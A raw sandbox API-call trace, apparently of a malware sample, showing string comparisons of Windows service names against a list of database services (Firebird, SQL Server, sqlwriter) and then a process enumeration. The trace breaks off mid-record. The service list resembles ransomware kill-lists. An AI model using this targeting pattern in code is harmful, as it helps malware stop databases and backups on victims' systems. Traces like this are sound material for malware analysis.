lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0118.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0118.741] lstrlenW (lpString="gpsvc") returned 5 [0118.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0118.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0118.741] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0118.741] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0118.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0118.741] lstrlenW (lpString="iphlpsvc") returned 8 [0118.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0118.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0118.741] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0118.741] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0118.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0118.742] lstrlenW (lpString="KeyIso") returned 6 [0118.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0118.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0118.742] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0118.742] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0118.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0118.742] lstrlenW (lpString="LanmanServer") returned 12 [0118.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0118.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0118.742] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0118.742] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0118.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0118.742] lstrlenW (lpString="LanmanWorkstation") returned 17 [0118.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0118.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0118.742] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0118.742] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0118.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0118.742] lstrlenW (lpString="lfsvc") returned 5 [0118.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0118.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0118.742] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0118.742] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0118.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0118.742] lstrlenW (lpString="lmhosts") returned 7 [0118.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0118.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0118.743] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0118.743] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0118.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0118.743] lstrlenW (lpString="LSM") returned 3 [0118.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0118.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0118.743] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0118.743] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0118.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0118.743] lstrlenW (lpString="MapsBroker") returned 10 [0118.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0118.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0118.743] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0118.743] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0118.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0118.743] lstrlenW (lpString="MpsSvc") returned 6 [0118.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0118.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0118.743] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0118.743] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0118.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0118.743] lstrlenW (lpString="NcbService") returned 10 [0118.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0118.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0118.743] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0118.743] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0118.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0118.744] lstrlenW (lpString="netprofm") returned 8 [0118.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0118.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0118.744] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0118.744] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0118.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0118.744] lstrlenW (lpString="NlaSvc") returned 6 [0118.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0118.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0118.744] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0118.744] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0118.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0118.744] lstrlenW (lpString="nsi") returned 3 [0118.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0118.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0118.744] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0118.744] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0118.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0118.744] lstrlenW (lpString="PcaSvc") returned 6 [0118.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0118.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0118.744] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0118.744] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0118.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0118.744] lstrlenW (lpString="PlugPlay") returned 8 [0118.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0118.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0118.745] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0118.745] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0118.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0118.745] lstrlenW (lpString="Power") returned 5 [0118.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0118.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0118.745] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0118.745] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0118.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0118.745] lstrlenW (lpString="ProfSvc") returned 7 [0118.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0118.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0118.745] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0118.745] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0118.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0118.745] lstrlenW (lpString="RpcEptMapper") returned 12 [0118.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0118.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0118.745] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0118.745] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0118.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0118.745] lstrlenW (lpString="RpcSs") returned 5 [0118.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0118.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0118.745] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0118.745] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0118.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0118.745] lstrlenW (lpString="SamSs") returned 5 [0118.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0118.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0118.746] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0118.746] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0118.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0118.746] lstrlenW (lpString="Schedule") returned 8 [0118.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0118.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0118.746] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0118.746] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0118.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0118.746] lstrlenW (lpString="SecurityHealthService") returned 21 [0118.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0118.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0118.746] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0118.746] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0118.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0118.746] lstrlenW (lpString="SENS") returned 4 [0118.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0118.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0118.746] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0118.746] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0118.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0118.747] lstrlenW (lpString="ShellHWDetection") returned 16 [0118.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0118.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0118.748] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0118.748] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0118.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0118.748] lstrlenW (lpString="Spooler") returned 7 [0118.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0118.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0118.748] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0118.748] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0118.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0118.748] lstrlenW (lpString="SSDPSRV") returned 7 [0118.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0118.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0118.748] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0118.748] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0118.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0118.748] lstrlenW (lpString="StateRepository") returned 15 [0118.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0118.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0118.749] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0118.749] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0118.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0118.749] lstrlenW (lpString="SysMain") returned 7 [0118.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0118.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0118.749] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0118.749] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0118.749] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6110e0 | out: hHeap=0x5b0000) returned 1 [0118.749] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x368 [0118.754] Process32FirstW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.755] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0118.756] lstrlenW (lpString="System") returned 6 [0118.756] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0118.757] lstrlenW (lpString="smss.exe") returned 8 [0118.757] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0118.758] lstrlenW (lpString="csrss.exe") returned 9 [0118.758] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0118.759] lstrlenW (lpString="wininit.exe") returned 11 [0118.759] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0118.760] lstrlenW (lpString="csrss.exe") returned 9 [0118.760] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0118.761] lstrlenW (lpString="winlogon.exe") returned 12 [0118.761] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0118.762] lstrlenW (lpString="services.exe") returned 12 [0118.762] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0118.763] lstrlenW (lpString="lsass.exe") returned 9 [0118.763] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.764] lstrlenW (lpString="svchost.exe") returned 11 [0118.764] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0118.768] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0118.768] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0118.769] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0118.769] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.770] lstrlenW (lpString="svchost.exe") returned 11 [0118.770] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0118.771] lstrlenW (lpString="dwm.exe") returned 7 [0118.771] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.771] lstrlenW (lpString="svchost.exe") returned 11 [0118.772] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.772] lstrlenW (lpString="svchost.exe") returned 11 [0118.772] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.773] lstrlenW (lpString="svchost.exe") returned 11 [0118.773] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.774] lstrlenW (lpString="svchost.exe") returned 11 [0118.774] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.775] lstrlenW (lpString="svchost.exe") returned 11 [0118.775] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.776] lstrlenW (lpString="svchost.exe") returned 11 [0118.776] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.777] lstrlenW (lpString="svchost.exe") returned 11 [0118.777] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.779] lstrlenW (lpString="svchost.exe") returned 11 [0118.779] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.780] lstrlenW (lpString="svchost.exe") returned 11 [0118.780] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0118.780] lstrlenW (lpString="spoolsv.exe") returned 11 [0118.781] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.781] lstrlenW (lpString="svchost.exe") returned 11 [0118.781] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.782] lstrlenW (lpString="svchost.exe") returned 11 [0118.782] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0118.783] lstrlenW (lpString="audiodg.exe") returned 11 [0118.783] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0118.784] lstrlenW (lpString="sihost.exe") returned 10 [0118.784] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.788] lstrlenW (lpString="svchost.exe") returned 11 [0118.788] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0118.789] lstrlenW (lpString="taskhostw.exe") returned 13 [0118.789] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0118.790] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0118.790] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0118.791] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0118.791] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0118.792] lstrlenW (lpString="explorer.exe") returned 12 [0118.792] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0118.793] lstrlenW (lpString="Memory Compression") returned 18 [0118.793] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, 